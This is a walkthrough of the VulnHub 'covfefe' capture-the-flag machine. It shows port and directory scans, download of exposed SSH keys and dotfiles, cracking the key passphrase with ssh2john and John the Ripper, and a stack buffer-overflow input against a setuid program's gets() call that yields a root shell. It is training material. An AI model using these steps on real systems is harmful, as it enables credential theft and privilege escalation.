CTF Walkthrough: covfefe: 1

Another CTF style challenge from VulnHub, this time it’s covfefe.

As usual, download from VulnHub, get it up and running as a VM, and figure out the IP address for the machine. Mine is currently 10.13.37.238. If you like, you may find it helpful to add an entry for the VM to your Kali /etc/hosts file, so you don’t have to keep typing the IP address, but that’s totally up to you. Obviously.

Anyway, let’s get cracki… Hacking. This challenge has three flags we’re looking for.

root@kali:~# nmap -sS -sV -T4 10.13.37.238 -p-

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-03 20:37 EDT
Warning: 10.13.37.238 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.13.37.238
Host is up (0.00064s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10 (protocol 2.0)
80/tcp    open  http    nginx 1.10.3
31337/tcp open  http    Werkzeug httpd 0.11.15 (Python 3.5.3)
MAC Address: 08:00:27:6F:0F:29 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2712.78 seconds

Okay, let’s start with port 80. I’m gonna run dirb while I open my browser.

root@kali:~# dirb http://10.13.37.238:80/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Nov  3 20:39:15 2017
URL_BASE: http://10.13.37.238:80/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.13.37.238:80/ ----
                                                                                            
-----------------
END_TIME: Fri Nov  3 20:39:17 2017
DOWNLOADED: 4612 - FOUND: 0
root@kali:~# 

Nothing. And the browser shows the default Nginx startup page. Nothing I can do there. Maybe 31337…

root@kali:~# dirb http://10.13.37.238:31337

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Nov  3 20:40:01 2017
URL_BASE: http://10.13.37.238:31337/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.13.37.238:31337/ ----
+ http://10.13.37.238:31337/.bash_history (CODE:200|SIZE:972)                               
+ http://10.13.37.238:31337/.bashrc (CODE:200|SIZE:3526)                                    
+ http://10.13.37.238:31337/.profile (CODE:200|SIZE:675)                                    
+ http://10.13.37.238:31337/.ssh (CODE:200|SIZE:58)                                         
+ http://10.13.37.238:31337/robots.txt (CODE:200|SIZE:70)                                   
                                                                                            
-----------------
END_TIME: Fri Nov  3 20:40:11 2017
DOWNLOADED: 4612 - FOUND: 5
root@kali:~# 

Hmmm, interesting. “.ssh”? Could that be their home directory and the ssh config folder? If we’re lucky it’ll contain their private key and maybe some other information.

Before we dig into that, let’s check the simpler things. Like robots.txt:

User-agent: *
Disallow: /.bashrc
Disallow: /.profile
Disallow: /taxes

HA! I found his taxes!!!

Good job! Here is a flag: flag1{make_america_great_again}

Damn, no taxes. But hey, at least we got the first flag!

Let’s take a look at this .ssh directory:

['id_rsa', 'authorized_keys', 'id_rsa.pub', 'known_hosts']

Interesting, I’m gonna want to pull all of those (and the dotfiles in the root) to my machine for further inspection.

root@kali:~/covfefe# wget http://10.13.37.238:31337/{.ssh/id_rsa,.ssh/id_rsa.pub,.ssh/authorized_keys,.ssh/known_hosts,.bash_history,.bashrc,.profile}
--2017-11-03 20:53:28--  http://10.13.37.238:31337/.ssh/id_rsa
Connecting to 10.13.37.238:31337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1766 (1.7K) [application/octet-stream]
Saving to: ‘id_rsa’

id_rsa                  100%[============================>]   1.72K  --.-KB/s    in 0s      

2017-11-03 20:53:28 (273 MB/s) - ‘id_rsa’ saved [1766/1766]

--2017-11-03 20:53:28--  http://10.13.37.238:31337/.ssh/id_rsa.pub
Connecting to 10.13.37.238:31337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 395 [application/octet-stream]
Saving to: ‘id_rsa.pub’

id_rsa.pub              100%[============================>]     395  --.-KB/s    in 0s      

2017-11-03 20:53:28 (72.5 MB/s) - ‘id_rsa.pub’ saved [395/395]

--2017-11-03 20:53:28--  http://10.13.37.238:31337/.ssh/authorized_keys
Connecting to 10.13.37.238:31337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 395 [application/octet-stream]
Saving to: ‘authorized_keys’

authorized_keys         100%[============================>]     395  --.-KB/s    in 0s      

2017-11-03 20:53:28 (53.4 MB/s) - ‘authorized_keys’ saved [395/395]

--2017-11-03 20:53:28--  http://10.13.37.238:31337/.ssh/known_hosts
Connecting to 10.13.37.238:31337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 222 [application/octet-stream]
Saving to: ‘known_hosts’

known_hosts             100%[============================>]     222  --.-KB/s    in 0s      

2017-11-03 20:53:28 (43.9 MB/s) - ‘known_hosts’ saved [222/222]

--2017-11-03 20:53:28--  http://10.13.37.238:31337/.bash_history
Connecting to 10.13.37.238:31337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 972 [application/octet-stream]
Saving to: ‘.bash_history’

.bash_history           100%[============================>]     972  --.-KB/s    in 0s      

2017-11-03 20:53:28 (148 MB/s) - ‘.bash_history’ saved [972/972]

--2017-11-03 20:53:28--  http://10.13.37.238:31337/.bashrc
Connecting to 10.13.37.238:31337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3526 (3.4K) [application/octet-stream]
Saving to: ‘.bashrc’

.bashrc                 100%[============================>]   3.44K  --.-KB/s    in 0s      

2017-11-03 20:53:28 (187 MB/s) - ‘.bashrc’ saved [3526/3526]

--2017-11-03 20:53:28--  http://10.13.37.238:31337/.profile
Connecting to 10.13.37.238:31337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 675 [application/octet-stream]
Saving to: ‘.profile’

.profile                100%[============================>]     675  --.-KB/s    in 0s      

2017-11-03 20:53:28 (99.4 MB/s) - ‘.profile’ saved [675/675]

FINISHED --2017-11-03 20:53:28--
Total wall clock time: 0.02s
Downloaded: 7 files, 7.8K in 0s (141 MB/s)

Let’s check the contents of the dotfiles. (Spoiler: .bash_history is the only one that stands out to me.)

root@kali:~/covfefe# cat .bash_history
read_message 
exit

Interesting. We may need the “read_message” command later.

Let’s check the other files now.

root@kali:~/covfefe# cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzG6cWl499ZGW0PV+tRaOLguT8+lso8zbSLCzgiBYkX/xnoZx0fneSfi93gdh4ynVjs2sgZ2HaRWA05EGR7e3IetSP53NTxk5QrLHEGZQFLId3QMMi74ebGBpPkKg/QzwRxCrKgqL1b2+EYz68Y9InRAZoq8wYTLdoUVa2wOiJv0PfrlQ4e9nh29J7yPgXmVAsy5ZvmpBp5FL76y1lUblGUuftCfddh2IahevizLlVipuSQGFqRZOdA5xnxbsNO4QbFUhjIlA5RrAs814LuA9t2CiAzHXxjsVW8/R/eD8K22TO7XEQscQjaSl/R4Cr1kNtUwCljpmpjt/Q4DJmExOR simon@covfefe

Okay, so the key was generated by simon (and that key matches the authorized_keys file, FYI).

Maybe let’s see if we can get in using this key and SSH on the open port 22.

root@kali:~/covfefe# ssh simon@10.13.37.238 -i id_rsa
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
simon@10.13.37.238: Permission denied (publickey).
root@kali:~/covfefe# chmod 600 id_rsa
root@kali:~/covfefe# ssh simon@10.13.37.238 -i id_rsa
Enter passphrase for key 'id_rsa': 

Yeah, that would’ve been too easy. So we had to change the permissions of the id_rsa file, no big deal. But now it seems that there’s a passphrase for this thing. I’ve tried a few things, and I can’t find anything out of place in any of the files we’ve pulled down or the source of any web served files, so we may have to try to crack this thing open.

root@kali:~/covfefe# ssh2john id_rsa > id_rsa.jtr-hash
root@kali:~/covfefe# john --show id_rsa.jtr-hash 
id_rsa:starwars

1 password hash cracked, 0 left

So John the Ripper wants a hash, so we’ll use ssh2john to convert the private key to a hash that JTR can understand, then just run that hash through john, and out comes the passphrase.

So now that we’re in, let’s see what’s around. Obviously there’s the files we saw from port 31337, since it was being hosted from simon’s home folder. The .bash_history file showed that a program had been run, so let’s try that one out.

simon@covfefe:/root$ read_message
What is your name?
Simon
Hello Simon! Here is your message:

Hi Simon, I hope you like our private messaging system.

I'm really happy with how it worked out!

If you're interested in how it works, I've left a copy of the source code in my home directory.

- Charlie Root

Okay, simon is the only directory in /home, so let’s check out /root.

simon@covfefe:/root$ ls -l /root
total 8
-rw------- 1 root root  75 Jul  9 20:24 flag.txt
-rw-r--r-- 1 root root 767 Jul  9 20:24 read_message.c

FLAG! Except we can’t read it, no permissions, but we can read the source file for the read_message program.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// You're getting close! Here's another flag:
// flag2{use_the_source_luke}

int main(int argc, char *argv[]) {
    char program[] = "/usr/local/sbin/message";
    char buf[20];
    char authorized[] = "Simon";

    printf("What is your name?\n");
    gets(buf);

    // Only compare first five chars to save precious cycles:
    if (!strncmp(authorized, buf, 5)) {
        printf("Hello %s! Here is your message:\n\n", buf);
        // This is safe as the user can't mess with the binary location:
        execve(program, NULL, NULL);
    } else {
        printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
        exit(EXIT_FAILURE);
    }

}

Flag 2 baby! So it looks like maybe this /root/flag.txt file might be our final one. Just need to figure out how to raise our permissions to read the file.

One of the keys lines in this code is “char buf[20];”. We can probably buffer overflow the program, forcing it to run a program of our choice when it runs the “execve” line. I’m not going to get into the technicalities of buffer overflows in this post, as it’s a bit out of scope, but maybe it would be a good idea to bookmark that idea for later.

Anyway, as you can see, the program only checks the first five characters that are entered, and if they equal “Simon”, then it passes the test and runs the “/usr/local/sbin/message” program. If we give it 20 characters (the first 6 being “Simon”, then we should be able to force it to run a program of our choosing. If you look at the permissions of “/usr/local/sbin/message”, you’ll see that only root can execute it, so Let’s give it a shot.

simon@covfefe:/root$ read_message
What is your name?
Simon678901234567890/bin/sh
Hello Simon678901234567890/bin/sh! Here is your message:

# id
uid=1000(simon) gid=1000(simon) euid=0(root) groups=1000(simon),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
# cat /root/flag.txt
You did it! Congratulations, here's the final flag:
flag3{das_bof_meister}

Third flag, done!

We run the “sh” shell instead of “bash” because bash has protections built in to prevent a higher level euid (Effective UID), where “sh” has no such protections. Then just cat out the flag.txt file and you’re good to go!